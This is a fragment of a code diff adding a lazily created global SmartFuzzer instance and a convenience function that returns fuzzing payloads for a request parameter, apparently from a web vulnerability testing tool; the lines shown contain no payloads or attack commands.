|
266
|
+
|
|
267
|
+
# Global instance
|
|
268
|
+
_fuzzer: Optional[SmartFuzzer] = None
|
|
269
|
+
|
|
270
|
+
|
|
271
|
+
def get_smart_fuzzer() -> SmartFuzzer:
|
|
272
|
+
"""Get or create the global fuzzer instance."""
|
|
273
|
+
global _fuzzer
|
|
274
|
+
if _fuzzer is None:
|
|
275
|
+
_fuzzer = SmartFuzzer()
|
|
276
|
+
return _fuzzer
|
|
277
|
+
|
|
278
|
+
|
|
279
|
+
def fuzz_parameter(
|
|
280
|
+
param_name: str,
|
|
281
|
+
param_value: str,
|
|
282
|
+
categories: Optional[list[VulnCategory]] = None
|
|
283
|
+
) -> list[FuzzPayload]:
|
|
284
|
+
"""Convenience function to get payloads for a parameter."""
|
|
285
|
+
fuzzer = get_smart_fuzzer()
|
|
286
|
+
return fuzzer.get_payloads_for_param(param_name, param_value, categories)
|